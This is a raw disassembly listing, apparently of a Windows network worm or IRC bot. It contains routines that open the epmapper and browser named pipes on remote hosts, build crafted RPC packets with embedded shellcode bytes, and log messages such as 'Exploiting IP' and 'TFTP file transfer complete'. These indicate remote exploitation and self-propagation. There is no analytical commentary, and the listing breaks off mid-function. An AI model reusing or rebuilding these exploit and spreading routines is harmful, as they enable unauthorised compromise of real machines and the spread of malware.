push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D9EC call sub_426453 loc_40D9EC: ; CODE XREF: sub_40D9D9+Cj mov ecx, edi call sub_40DAFD mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40DA02 mov ebx, eax loc_40DA02: ; CODE XREF: sub_40D9D9+25j test ebx, ebx jbe short loc_40DA38 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41D400 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D8E3 test al, al jz short loc_40DA38 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40DA38: ; CODE XREF: sub_40D9D9+2Bj ; sub_40D9D9+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D9D9 endp ; =============== S U B R O U T I N E ======================================= sub_40DA40 proc near ; CODE XREF: sub_40D8E3+79p mov eax, offset loc_426D8C call sub_41D3D0 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40DA66 mov edi, [ebp+8] loc_40DA66: ; CODE XREF: sub_40DA40+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40DA73 xor eax, eax loc_40DA73: ; CODE XREF: sub_40DA40+2Fj push eax call sub_41D735 pop ecx mov [ebp+8], eax jmp short loc_40DAA4 ; --------------------------------------------------------------------------- loc_40DA7F: ; DATA XREF: ___:00427FCCo mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40DA8E xor eax, eax loc_40DA8E: ; CODE XREF: sub_40DA40+4Aj push eax call sub_41D735 mov [ebp+8], eax pop ecx mov eax, offset loc_40DA9E retn ; --------------------------------------------------------------------------- loc_40DA9E: ; DATA XREF: sub_40DA40+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40DAA4: ; CODE XREF: sub_40DA40+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40DAC2 cmp eax, edi jbe short loc_40DAB1 mov eax, edi loc_40DAB1: ; CODE XREF: sub_40DA40+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41CAB0 add esp, 0Ch loc_40DAC2: ; CODE XREF: sub_40DA40+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D968 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40DAE2 mov edi, ebx loc_40DAE2: ; CODE XREF: sub_40DA40+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40DA40 endp ; =============== S U B R O U T I N E ======================================= sub_40DAFD proc near ; CODE XREF: sub_40D9D9+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40DB2A mov al, [esi-1] test al, al jz short loc_40DB2A cmp al, 0FFh jz short loc_40DB2A push 1 call sub_40D968 push esi call sub_41B960 pop ecx push eax push esi mov ecx, edi call sub_40D9A4 loc_40DB2A: ; CODE XREF: sub_40DAFD+9j ; sub_40DAFD+10j ... pop edi pop esi retn sub_40DAFD endp ; =============== S U B R O U T I N E ======================================= sub_40DB2D proc near ; DATA XREF: ___:00429008o test byte_4D9A2C, 1 jnz short loc_40DB3D or byte_4D9A2C, 1 loc_40DB3D: ; CODE XREF: sub_40DB2D+7j jmp $+5 push offset nullsub_2 call sub_41D7B0 pop ecx retn sub_40DB2D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB4F proc near ; CODE XREF: ___:0040DF65p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 354h push ebx push esi push edi mov esi, offset off_4329A0 lea edi, [ebp+var_C] mov ecx, 8Ah movsd movsd movsd mov esi, offset asc_432998 ; "\\\\" lea edi, [ebp+var_354] movsd movsw xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_43B4B8 push 45h mov [ebp+var_124], al pop ecx xor eax, eax lea edi, [ebp+var_123] rep stosd stosw stosb lea eax, [ebp+var_124] push 0FFh push eax push 0FFFFFFFFh push [ebp+arg_0] xor edi, edi push edi push edi nop call near ptr 2700000h lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 mov esi, [ebp+arg_4] lea eax, [ebp+var_354] add esp, 10h mov [esi+14h], eax mov eax, offset dword_4CC024 push edi push eax push eax push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+1Ch], edi call dword_4C93A4 cmp eax, 5 mov ebx, 4C3h jz short loc_40DC13 cmp eax, ebx jnz short loc_40DC1D loc_40DC13: ; CODE XREF: sub_40DB4F+BEj push edi push edi push edi push esi call dword_4C93A4 loc_40DC1D: ; CODE XREF: sub_40DB4F+C2j cmp eax, 5 jz short loc_40DC2B cmp eax, ebx jz short loc_40DC2B push 1 pop eax jmp short loc_40DC2D ; --------------------------------------------------------------------------- loc_40DC2B: ; CODE XREF: sub_40DB4F+D1j ; sub_40DB4F+D5j xor eax, eax loc_40DC2D: ; CODE XREF: sub_40DB4F+DAj pop edi pop esi pop ebx leave retn sub_40DB4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC32 proc near ; CODE XREF: ___:0040DFB7p ; ___:0040E097p var_354 = byte ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h var_123 = byte ptr -123h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset off_4329A0 lea edi, [ebp+var_C] movsd movsd movsd mov esi, offset asc_432998 ; "\\\\" lea edi, [ebp+var_354] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] push 45h rep stosd stosw mov al, byte_43B4B8 pop ecx mov [ebp+var_124], al xor eax, eax lea edi, [ebp+var_123] push 0FFh rep stosd stosw stosb lea eax, [ebp+var_124] xor esi, esi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push esi call near ptr 2700000h nop lea eax, [ebp+var_124] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_354] push eax call sub_41D7F1 add esp, 10h loc_40DCC3: ; CODE XREF: sub_40DC32+AFj push esi lea eax, [ebp+var_354] push esi push eax call dword_4C923C test eax, eax jz short loc_40DCE3 push 7D0h nop call near ptr 268051Bh jmp short loc_40DCC3 ; --------------------------------------------------------------------------- loc_40DCE3: ; CODE XREF: sub_40DC32+A2j push 1 pop eax pop edi pop esi leave retn sub_40DC32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCEA proc near ; CODE XREF: ___:0040DFE6p ; ___:0040E124p var_3004 = byte ptr -3004h var_2004 = byte ptr -2004h var_1FE0 = byte ptr -1FE0h var_1FD4 = byte ptr -1FD4h var_1F2D = byte ptr -1F2Dh var_1004 = byte ptr -1004h var_FFC = dword ptr -0FFCh var_FF4 = dword ptr -0FF4h var_F84 = dword ptr -0F84h var_F80 = dword ptr -0F80h var_F50 = dword ptr -0F50h var_F4C = dword ptr -0F4Ch var_F34 = dword ptr -0F34h var_E78 = dword ptr -0E78h var_CA4 = dword ptr -0CA4h var_C9C = dword ptr -0C9Ch var_C94 = byte ptr -0C94h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 3004h call sub_41C2A0 push esi push edi push offset byte_429108 mov esi, 0A7h push [ebp+arg_0] mov [ebp+var_4], esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_3004] push 1000h push eax call sub_40B21E mov edi, eax add esp, 10h test edi, edi jz loc_40DF39 push ebx mov ebx, offset off_4328B4 push 30h lea eax, [ebp+var_2004] push ebx push eax call sub_41CAB0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BD10 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+var_1F2D] push eax call sub_41CAB0 add esp, 24h lea esi, [edi+0D7h] loc_40DD6F: ; CODE XREF: sub_40DCEA+D3j mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jz short loc_40DDBF mov esi, [ebp+var_4] push 30h lea eax, [ebp+var_2004] inc esi push ebx push eax mov [ebp+var_4], esi call sub_41CAB0 push esi lea eax, [ebp+var_1FD4] push 0FFFFFF90h push eax call sub_41BD10 lea eax, [ebp+var_3004] push edi push eax lea eax, [ebp+esi+var_1FD4] push eax call sub_41CAB0 add esp, 24h lea esi, [esi+edi+30h] jmp short loc_40DD6F ; --------------------------------------------------------------------------- loc_40DDBF: ; CODE XREF: sub_40DCEA+90j cmp [ebp+arg_C4], 0 jz short loc_40DDDA cmp [ebp+arg_C0], 3 jz short loc_40DDE3 cmp [ebp+arg_C0], 0 jmp short loc_40DDE1 ; --------------------------------------------------------------------------- loc_40DDDA: ; CODE XREF: sub_40DCEA+DCj cmp [ebp+arg_C0], 3 loc_40DDE1: ; CODE XREF: sub_40DCEA+EEj jnz short loc_40DDEC loc_40DDE3: ; CODE XREF: sub_40DCEA+E5j push 4 push offset dword_432994 jmp short loc_40DDF3 ; --------------------------------------------------------------------------- loc_40DDEC: ; CODE XREF: sub_40DCEA:loc_40DDE1j push 4 push offset dword_432990 loc_40DDF3: ; CODE XREF: sub_40DCEA+100j lea eax, [ebp+var_1FE0] push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_1004] push 360h push offset dword_4324C8 push eax call sub_41CAB0 push 10h lea eax, [ebp+var_CA4] push offset dword_43282C push eax call sub_41CAB0 lea eax, [ebp+var_2004] push esi push eax lea eax, [ebp+var_C94] push eax call sub_41CAB0 lea edi, [esi+370h] push 3Ch push offset off_432840 lea eax, [ebp+edi+var_1004] push eax call sub_41CAB0 add edi, 3Ch push 30h push offset dword_432880 lea eax, [ebp+edi+var_1004] push eax call sub_41CAB0 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA4], eax add [ebp+var_C9C], eax mov eax, [ebp+var_FFC] lea eax, [eax+esi-0Ch] mov [ebp+var_FFC], eax mov eax, [ebp+var_FF4] lea eax, [eax+esi-0Ch] mov [ebp+var_FF4], eax mov eax, [ebp+var_F84] lea eax, [eax+esi-0Ch] mov [ebp+var_F84], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F50] lea eax, [eax+esi-0Ch] mov [ebp+var_F50], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F34] lea eax, [eax+esi-0Ch] mov [ebp+var_F34], eax mov eax, [ebp+var_E78] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E78], eax call sub_41BC9B add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41BD10 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_41CAB0 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_40DF39: ; CODE XREF: sub_40DCEA+3Ej pop edi pop esi leave retn sub_40DCEA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1338h call sub_41C2A0 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40E0AB lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40DB4F pop ecx test eax, eax pop ecx jz loc_40E1BB lea eax, [ebp+0Ch] push eax lea eax, [ebp-338h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41C006 add esp, 0Ch xor ebx, ebx lea eax, [ebp-338h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call near ptr 27306D8h nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DFC2 loc_40DFB3: ; CODE XREF: ___:0040E063j lea eax, [ebp+0Ch] push eax call sub_40DC32 pop ecx jmp loc_40E1BB ; --------------------------------------------------------------------------- loc_40DFC2: ; CODE XREF: ___:0040DFB1j lea eax, [ebp+0Ch] push 2 push eax call sub_41827E pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCEA add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40E05A mov edi, 186A0h push edi call sub_41BC9B mov esi, eax push edi push ebx push esi call sub_41BD10 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_43247C push dword ptr [ebp-4] nop call near ptr 2730000h cmp byte ptr [esi+2], 0Ch jnz short loc_40E04A lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call near ptr 2720000h nop test eax, eax jnz short loc_40E068 loc_40E04A: ; CODE XREF: ___:0040E030j push esi call sub_41BA31 push dword ptr [ebp-8] call sub_41BA31 pop ecx pop ecx loc_40E05A: ; CODE XREF: ___:0040DFF6j push dword ptr [ebp-4] nop call near ptr 2660000h jmp loc_40DFB3 ; --------------------------------------------------------------------------- loc_40E068: ; CODE XREF: ___:0040E048j lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] call near ptr 2710000h nop push dword ptr [ebp-8] mov edi, eax call sub_41BA31 push esi call sub_41BA31 pop ecx pop ecx push dword ptr [ebp-4] nop call near ptr 2660000h lea eax, [ebp+0Ch] push eax call sub_40DC32 cmp edi, 1 pop ecx jnz loc_40E1CF jmp loc_40E1BB ; --------------------------------------------------------------------------- loc_40E0AB: ; CODE XREF: ___:0040DF57j lea eax, [ebp+0Ch] push 1 push eax call sub_41827E mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40E1BB xor ebx, ebx push ebx push 1 push 2 call dword_4C9384 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40E1BB push 10h lea eax, [ebp-24h] push ebx push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call dword_4C9304 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call dword_4C9344 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DCEA mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40E13D push dword ptr [ebp-4] jmp short loc_40E1B5 ; --------------------------------------------------------------------------- loc_40E13D: ; CODE XREF: ___:0040E136j mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call dword_4C92AC cmp eax, 0FFFFFFFFh jnz short loc_40E155 loc_40E152: ; CODE XREF: ___:0040E167j push esi jmp short loc_40E1AE ; --------------------------------------------------------------------------- loc_40E155: ; CODE XREF: ___:0040E150j push ebx push 48h push offset dword_43247C push edi call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_40E152 mov esi, 1000h push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4C931C push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_40E196 push dword ptr [ebp-8] jmp short loc_40E1AE ; --------------------------------------------------------------------------- loc_40E196: ; CODE XREF: ___:0040E18Fj push ebx lea eax, [ebp-1338h] push esi push eax push edi call dword_4C931C push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40E1C2 loc_40E1AE: ; CODE XREF: ___:0040E153j ; ___:0040E194j call sub_41BA31 pop ecx push edi loc_40E1B5: ; CODE XREF: ___:0040E13Bj call dword_4C939C loc_40E1BB: ; CODE XREF: ___:0040DF6Ej ; ___:0040DFBDj ... xor eax, eax jmp loc_40E27E ; --------------------------------------------------------------------------- loc_40E1C2: ; CODE XREF: ___:0040E1ACj call sub_41BA31 pop ecx push edi call dword_4C939C loc_40E1CF: ; CODE XREF: ___:0040E0A0j lea eax, [ebp+0Ch] push eax lea eax, [ebp-234h] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_41C006 add esp, 0Ch xor esi, esi loc_40E1E9: ; CODE XREF: ___:0040E209j lea eax, [ebp-234h] push eax call sub_415DCF test eax, eax pop ecx jnz short loc_40E20D push 1388h nop call near ptr 268051Bh inc esi cmp esi, 6 jl short loc_40E1E9 jmp short loc_40E27B ; --------------------------------------------------------------------------- loc_40E20D: ; CODE XREF: ___:0040E1F8j lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax lea eax, [ebp-234h] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_41C006 add esp, 10h cmp [ebp+0BCh], ebx jnz short loc_40E259 push ebx lea eax, [ebp-234h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409862 add esp, 14h loc_40E259: ; CODE XREF: ___:0040E23Aj lea eax, [ebp-234h] push eax call sub_415CEE mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40E27B: ; CODE XREF: ___:0040E20Bj push 1 pop eax loc_40E27E: ; CODE XREF: ___:0040E1BDj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40E283 proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40E283 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E288 proc near mov eax, dword_432B98 add eax, 6 mov dword_4CC028, eax retn sub_40E288 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E296 proc near ; CODE XREF: sub_40E296+D0p ; ___:0040E7F5p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40E2AA or [ebp+arg_7], 1 jmp short loc_40E2AE ; --------------------------------------------------------------------------- loc_40E2AA: ; CODE XREF: sub_40E296+Cj and [ebp+arg_7], 0FEh loc_40E2AE: ; CODE XREF: sub_40E296+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40E2D2 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40E2E4 ; --------------------------------------------------------------------------- loc_40E2D2: ; CODE XREF: sub_40E296+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40E2E4: ; CODE XREF: sub_40E296+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41BC9B test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40E37D push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 2720000h test eax, eax jz short loc_40E374 mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40E374 push [ebp+arg_20] call sub_41BA31 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40E370 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40E296 add esp, 2Ch jmp short loc_40E37F ; --------------------------------------------------------------------------- loc_40E370: ; CODE XREF: sub_40E296+B3j mov al, 1 jmp short loc_40E37F ; --------------------------------------------------------------------------- loc_40E374: ; CODE XREF: sub_40E296+9Cj ; sub_40E296+A4j push [ebp+arg_20] call sub_41BA31 pop ecx loc_40E37D: ; CODE XREF: sub_40E296+61j xor al, al loc_40E37F: ; CODE XREF: sub_40E296+D8j ; sub_40E296+DCj pop edi pop esi pop ebx leave retn sub_40E296 endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 0Fh db 0DFh ; ß db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 5Ch ; \ db 0D8h ; Ø db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 5Fh ; _ db 0F5h ; õ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 14h db 2Ch ; , db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; è db 3Dh ; = db 0DDh ; Ý db 0 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 3Eh ; > db 0D9h ; Ù db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 0B8h ; ¸ db 0B4h ; ´ db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 3Bh ; ; db 82h ; ‚ db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40E3FC ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40E3FC: ; CODE XREF: ___:0040E3F5j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41C100 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call near ptr 27306D8h nop cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40E440 loc_40E439: ; CODE XREF: ___:0040E518j ; ___:0040E6EEj ... xor al, al jmp loc_40E884 ; --------------------------------------------------------------------------- loc_40E440: ; CODE XREF: ___:0040E437j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41BD10 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_432BEC push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41CAB0 push 10h lea eax, [ebp-84h] push offset dword_432BD8 push eax mov dword ptr [ebp-88h], 3 call sub_41CAB0 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2720000h test eax, eax jnz short loc_40E51D loc_40E50F: ; CODE XREF: ___:0040E5E9j push dword ptr [ebp-4] nop call near ptr 2660000h jmp loc_40E439 ; --------------------------------------------------------------------------- loc_40E51D: ; CODE XREF: ___:0040E50Dj lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] call near ptr 2710000h nop push ebx call sub_41D81B push eax call sub_41C058 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41BD10 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41BD10 add esp, 20h call sub_41C062 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_432B80[esi], bl jz short loc_40E594 push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CC030 jmp short loc_40E5A7 ; --------------------------------------------------------------------------- loc_40E594: ; CODE XREF: ___:0040E580j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_432BCF+1) loc_40E5A7: ; CODE XREF: ___:0040E592j lea eax, [ebp-20h] push eax call sub_41CAB0 add esp, 0Ch call sub_41C062 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41C062 cdq idiv edi mov eax, dword_432B74[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41BC9B mov edi, eax pop ecx cmp edi, ebx jz loc_40E50F mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41BD10 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41BD10 mov eax, dword_432B7C[esi] push 7 add eax, edi push offset dword_432B68 push eax mov [ebp+0Ch], eax call sub_41CAB0 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432A08 push eax call sub_41CAB0 mov eax, dword_432B78[esi] add esp, 30h cmp byte_432B80[esi], bl mov [ebp+0Ch], eax jz short loc_40E6A0 push 4 add eax, edi push offset dword_4CC028 push eax call sub_41CAB0 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_432B98 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41CAB0 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41CAB0 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41CAB0 add esp, 30h jmp short loc_40E6C8 ; --------------------------------------------------------------------------- loc_40E6A0: ; CODE XREF: ___:0040E651j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_432B98 loc_40E6B1: ; CODE XREF: ___:0040E6C6j push 4 push esi push dword ptr [ebp+0Ch] call sub_41CAB0 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40E6B1 loc_40E6C8: ; CODE XREF: ___:0040E69Ej mov eax, [ebp+8] add eax, 42h push eax call sub_41BC9B mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40E6F3 push dword ptr [ebp-4] call near ptr 2660000h nop push edi call sub_41BA31 pop ecx jmp loc_40E439 ; --------------------------------------------------------------------------- loc_40E6F3: ; CODE XREF: ___:0040E6DCj mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41BD10 lea eax, [ebp-70h] push 14h push eax push esi call sub_41CAB0 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276A4 fstp qword ptr [esp] call sub_41CF2B call sub_41CF04 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41CAB0 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40E760 loc_40E758: ; CODE XREF: ___:0040E75Bj inc eax test al, 3 jnz short loc_40E758 mov [ebp+0Ch], eax loc_40E760: ; CODE XREF: ___:0040E756j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41CAB0 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41BA31 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41BD10 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41BD10 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 27309E0h mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40E7CD: ; CODE XREF: ___:0040E857j cmp dword ptr [ebp-0Ch], 2 jge loc_40E862 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h 